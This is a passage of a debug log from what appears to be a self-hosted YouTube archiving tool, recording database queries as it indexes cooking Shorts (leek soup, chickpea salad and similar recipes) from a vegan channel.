s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:05.118 [debug] QUERY OK source="sources" db=0.6ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:05.121 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 18:30:08Z], 1] 20:29:05.122 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Stop tossing your leek tops! For some weird reason we've been taught that the stalky green parts of leeks are inedible -- that's BS! Leeks have tons of dietary fibre and vitamin C -- so use em! I was super happy to get a GIANT leek in my @pekoproduce mystery box this week and knew right away that I'd make a soup! #lowwaste #nowaste \n\nThis Mushroom & Leek soup was the bomb dot com on a cool June-uary day (#raincouver ☔️). \n\nINGREDIENTS:\n1 lb. white mushrooms, quartered\n1 large leek, white and green parts separated, sliced\n1/2 yellow onion, diced\n1 head roasted garlic\n1.5 tbsp oil\n1/2 can coconut milk\n4 cups veggie or onion broth, hot\n2 tbsp red wine vinegar\n1-2 tbsp GF soy sauce\n2 bay leaves\n1 tsp dried thyme\n1 tsp hot paprika\nsalt + pepper to taste\n\nSauté the onion, white part of leeks and garlic in oil on medium-high heat for 2-3 minutes, until softened slightly and sweating -- Add the mushrooms, sliced green leek tops, and stir to combine thoroughly -- Add remaining herbs, spices and seasonings and pour the broth and coconut milk over top -- Stir and cover and bring to a boil; once boiling lower heat to medium and simmer for 15 to 20 minutes until the mushrooms and leek greens are cooked through -- adjust seasonings as needed. ENJOY!", "Stop 🛑 throwing out your leek tops!", "7fe6f8d5-9632-47fe-a7fa-66ef17fd4dc6", 1, [], 15, false, "5fvjGrxpF0M", "https://www.youtube.com/shorts/5fvjGrxpF0M", 359, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Stop 🛑 throwing out your leek tops!/Stop 🛑 throwing out your leek tops! [5fvjGrxpF0M].NA", false, false, true, 1, ~U[2022-06-21 18:30:08Z], ~U[2026-03-22 03:29:05Z], ~U[2026-03-22 03:29:05Z], "Stop tossing your leek tops! For some weird reason we've been taught that the stalky green parts of leeks are inedible -- that's BS! Leeks have tons of dietary fibre and vitamin C -- so use em! I was super happy to get a GIANT leek in my @pekoproduce mystery box this week and knew right away that I'd make a soup! #lowwaste #nowaste \n\nThis Mushroom & Leek soup was the bomb dot com on a cool June-uary day (#raincouver ☔️). \n\nINGREDIENTS:\n1 lb. white mushrooms, quartered\n1 large leek, white and green parts separated, sliced\n1/2 yellow onion, diced\n1 head roasted garlic\n1.5 tbsp oil\n1/2 can coconut milk\n4 cups veggie or onion broth, hot\n2 tbsp red wine vinegar\n1-2 tbsp GF soy sauce\n2 bay leaves\n1 tsp dried thyme\n1 tsp hot paprika\nsalt + pepper to taste\n\nSauté the onion, white part of leeks and garlic in oil on medium-high heat for 2-3 minutes, until softened slightly and sweating -- Add the mushrooms, sliced green leek tops, and stir to combine thoroughly -- Add remaining herbs, spices and seasonings and pour the broth and coconut milk over top -- Stir and cover and bring to a boil; once boiling lower heat to medium and simmer for 15 to 20 minutes until the mushrooms and leek greens are cooked through -- adjust seasonings as needed. ENJOY!", "Stop 🛑 throwing out your leek tops!", 1, 15, false, "5fvjGrxpF0M", "https://www.youtube.com/shorts/5fvjGrxpF0M", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Stop 🛑 throwing out your leek tops!/Stop 🛑 throwing out your leek tops! [5fvjGrxpF0M].NA", true, ~U[2022-06-21 18:30:08Z]] 20:29:05.123 [debug] QUERY OK source="sources" db=0.3ms idle=710.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:05.124 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:05.124 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [748] 20:29:05.125 [debug] Current batch of media processed. Will check again in 1000ms 20:29:06.126 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This is the perfect healthy family salad, perfect for any get together. It's colorful, packed full of protein, and absolutely delicious. Everyone will be talking about this salad at your next BBQ or dinner.\n\nFull recipe video: https://youtu.be/Ztps-dPnqW8", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-21 I feel bad for you ‘cause you’re not eating this/I feel bad for you ‘cause you’re not eating this [PNuA7XECW10].NA", "id" => "PNuA7XECW10", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/PNuA7XECW10", "playlist_index" => 360, "timestamp" => 1655823630, "title" => "I feel bad for you ‘cause you’re not eating this", "upload_date" => "20220621"} 20:29:06.127 [debug] QUERY OK source="sources" db=0.8ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:06.129 [debug] QUERY OK source="sources" db=1.3ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:06.132 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=1005.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 15:00:30Z], 1] 20:29:06.134 [debug] QUERY OK source="media_items" db=1.0ms idle=1008.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is the perfect healthy family salad, perfect for any get together. It's colorful, packed full of protein, and absolutely delicious. Everyone will be talking about this salad at your next BBQ or dinner.\n\nFull recipe video: https://youtu.be/Ztps-dPnqW8", "I feel bad for you ‘cause you’re not eating this", "afe5d78b-7007-453d-88dd-3f12d5190312", 1, [], 15, false, "PNuA7XECW10", "https://www.youtube.com/shorts/PNuA7XECW10", 360, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 I feel bad for you ‘cause you’re not eating this/I feel bad for you ‘cause you’re not eating this [PNuA7XECW10].NA", false, false, true, 2, ~U[2022-06-21 15:00:30Z], ~U[2026-03-22 03:29:06Z], ~U[2026-03-22 03:29:06Z], "This is the perfect healthy family salad, perfect for any get together. It's colorful, packed full of protein, and absolutely delicious. Everyone will be talking about this salad at your next BBQ or dinner.\n\nFull recipe video: https://youtu.be/Ztps-dPnqW8", "I feel bad for you ‘cause you’re not eating this", 1, 15, false, "PNuA7XECW10", "https://www.youtube.com/shorts/PNuA7XECW10", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 I feel bad for you ‘cause you’re not eating this/I feel bad for you ‘cause you’re not eating this [PNuA7XECW10].NA", true, ~U[2022-06-21 15:00:30Z]] 20:29:06.135 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=719.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:06.136 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:06.137 [debug] QUERY OK source="media_items" db=0.7ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [749] 20:29:06.137 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This feta + chickpea rainbow salad is one of my fave new summer salads, and be will yours too once you try it! It’s mega yummy, high in plant protein and so hydrating. Check out the full recipe below and follow me for more!\n\nINGREDIENTS — chop, pour, mix, enjoy!\n1 cup chopped basil\n1/2 crown broccoli\n1/2 cucumber\n1 cup grape tomatoes\n1 orange bell pepper\n1 red bell pepper\n1 can chickpeas, drained and rinsed\n1 block vegan feta, crumbled\n\nDressing — combine in a jar and shake to combine \n3 tbsp olive/grapeseed oil\n3 tbsp ACV\n2 tbsp dijon mustard\n2 green onions, diced\nS + P", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Feta & chickpea rainbow 🌈 salad 🥗/Feta & chickpea rainbow 🌈 salad 🥗 [-YUVE1bK8JY].NA", "id" => "-YUVE1bK8JY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-YUVE1bK8JY", "playlist_index" => 361, "timestamp" => 1655769600, "title" => "Feta & chickpea rainbow 🌈 salad 🥗", "upload_date" => "20220621"} 20:29:06.138 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:06.139 [debug] QUERY OK source="sources" db=0.3ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:06.141 [debug] QUERY OK source="media_items" db=2.1ms idle=4.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 00:00:00Z], 1] 20:29:06.143 [debug] QUERY OK source="media_items" db=1.2ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This feta + chickpea rainbow salad is one of my fave new summer salads, and be will yours too once you try it! It’s mega yummy, high in plant protein and so hydrating. Check out the full recipe below and follow me for more!\n\nINGREDIENTS — chop, pour, mix, enjoy!\n1 cup chopped basil\n1/2 crown broccoli\n1/2 cucumber\n1 cup grape tomatoes\n1 orange bell pepper\n1 red bell pepper\n1 can chickpeas, drained and rinsed\n1 block vegan feta, crumbled\n\nDressing — combine in a jar and shake to combine \n3 tbsp olive/grapeseed oil\n3 tbsp ACV\n2 tbsp dijon mustard\n2 green onions, diced\nS + P", "Feta & chickpea rainbow 🌈 salad 🥗", "c3b9963d-8a8e-4313-b85c-8d75cb42f453", 1, [], 15, false, "-YUVE1bK8JY", "https://www.youtube.com/shorts/-YUVE1bK8JY", 361, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Feta & chickpea rainbow 🌈 salad 🥗/Feta & chickpea rainbow 🌈 salad 🥗 [-YUVE1bK8JY].NA", false, false, true, 3, ~U[2022-06-21 00:00:00Z], ~U[2026-03-22 03:29:06Z], ~U[2026-03-22 03:29:06Z], "This feta + chickpea rainbow salad is one of my fave new summer salads, and be will yours too once you try it! It’s mega yummy, high in plant protein and so hydrating. Check out the full recipe below and follow me for more!\n\nINGREDIENTS — chop, pour, mix, enjoy!\n1 cup chopped basil\n1/2 crown broccoli\n1/2 cucumber\n1 cup grape tomatoes\n1 orange bell pepper\n1 red bell pepper\n1 can chickpeas, drained and rinsed\n1 block vegan feta, crumbled\n\nDressing — combine in a jar and shake to combine \n3 tbsp olive/grapeseed oil\n3 tbsp ACV\n2 tbsp dijon mustard\n2 green onions, diced\nS + P", "Feta & chickpea rainbow 🌈 salad 🥗", 1, 15, false, "-YUVE1bK8JY", "https://www.youtube.com/shorts/-YUVE1bK8JY", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Feta & chickpea rainbow 🌈 salad 🥗/Feta & chickpea rainbow 🌈 salad 🥗 [-YUVE1bK8JY].NA", true, ~U[2022-06-21 00:00:00Z]] 20:29:06.144 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:06.145 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:06.146 [debug] QUERY OK source="media_items" db=0.6ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [750] 20:29:06.146 [debug] Current batch of media processed. Will check again in 1000ms 20:29:07.147 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "How hot do you like your spicy foods? Let me know in the comments. For me, I like it when my eyes start sweating lol. \n\nDon't forget to subscribe for more daily content and recipe videos all about the vegan and gluten free diet! Thanks so much for all your support! Janelle\n\nSpicy Mac N' Cheese Video: https://youtu.be/mrnDt0w-gno", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-20 How Hot is Too Hot? #shorts/How Hot is Too Hot? #shorts [MFEvmigJlBE].NA", "id" => "MFEvmigJlBE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/MFEvmigJlBE", "playlist_index" => 362, "timestamp" => 1655751614, "title" => "How Hot is Too Hot? #shorts", "upload_date" => "20220620"} 20:29:07.149 [debug] QUERY OK source="sources" db=1.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:07.150 [debug] QUERY OK source="sources" db=0.2ms queue=0.6ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:07.153 [debug] QUERY OK source="media_items" db=2.2ms queue=0.7ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-20 19:00:14Z], 1] 20:29:07.155 [debug] QUERY OK source="media_items" db=1.2ms idle=1007.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How hot do you like your spicy foods? Let me know in the comments. For me, I like it when my eyes start sweating lol. \n\nDon't forget to subscribe for more daily content and recipe videos all about the vegan and gluten free diet! Thanks so much for all your support! Janelle\n\nSpicy Mac N' Cheese Video: https://youtu.be/mrnDt0w-gno", "How Hot is Too Hot? #shorts", "f72fc6a3-e1db-447a-bc5a-d60c562efb93", 1, [], 11, false, "MFEvmigJlBE", "https://www.youtube.com/shorts/MFEvmigJlBE", 362, "/downloads/downloads/alec/Steamy Vegan/2022-06-20 How Hot is Too Hot? #shorts/How Hot is Too Hot? #shorts [MFEvmigJlBE].NA", false, false, true, 0, ~U[2022-06-20 19:00:14Z], ~U[2026-03-22 03:29:07Z], ~U[2026-03-22 03:29:07Z], "How hot do you like your spicy foods? Let me know in the comments. For me, I like it when my eyes start sweating lol. \n\nDon't forget to subscribe for more daily content and recipe videos all about the vegan and gluten free diet! Thanks so much for all your support! Janelle\n\nSpicy Mac N' Cheese Video: https://youtu.be/mrnDt0w-gno", "How Hot is Too Hot? #shorts", 1, 11, false, "MFEvmigJlBE", "https://www.youtube.com/shorts/MFEvmigJlBE", "/downloads/downloads/alec/Steamy Vegan/2022-06-20 How Hot is Too Hot? #shorts/How Hot is Too Hot? #shorts [MFEvmigJlBE].NA", true, ~U[2022-06-20 19:00:14Z]] 20:29:07.155 [debug] QUERY OK source="sources" db=0.3ms idle=738.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:07.156 [debug] QUERY OK source="media_profiles" db=0.9ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:07.158 [debug] QUERY OK source="media_items" db=0.9ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [751] 20:29:07.158 [debug] Current batch of media processed. Will check again in 1000ms 20:29:08.159 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "My reaction to the viral tik tok baked feta pasta. Is it really as good as 